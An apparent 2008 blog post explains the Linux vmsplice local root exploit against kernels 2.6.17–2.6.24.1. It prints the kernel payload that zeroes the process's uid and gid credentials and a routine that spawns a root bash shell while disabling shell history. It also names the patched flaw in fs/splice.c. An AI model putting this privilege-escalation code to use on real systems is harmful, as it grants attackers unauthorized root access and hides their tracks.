domingo, febrero 10, 2008

Linux vmsplice Local Root Exploit

Linux vmsplice syscall let a non-root user inject and execute code to the kernel.

Vulnerable kernels: Linux 2.6.17 - 2.6.24.1

It works ok in my Debian 2.6.18-4-486

The goal is inject this code to the kernel.
This loop, check the task_struct, if a process with the current uid and gid is found, then is setted to zero.
void    kernel_code()
{
int i;
uint *p = get_current();

for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
exit_kernel();
}
Then a root shell can be spawned:
void exit_code()
{
if (getuid() != 0)
die("wtf", 0);

printf("[+] root\n");
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
die("/bin/bash", errno);
}
kernel_code() is mapped and spliced to a pipe with _vmsplice(pi[1], &iov, 1, 0);
exit_code() is assigned to the SIGPIPE signal.

The Exploit Code.

The problem is at: /fs/splice.c copy_from_user_mmap_sem()

They have solved the problem by adding two access_ok() calls to check the permissions of the page(s) to copy.

The get_iovec_page_array() function, also need this access_ok() check, This monday this patch has been committed.

No hay comentarios: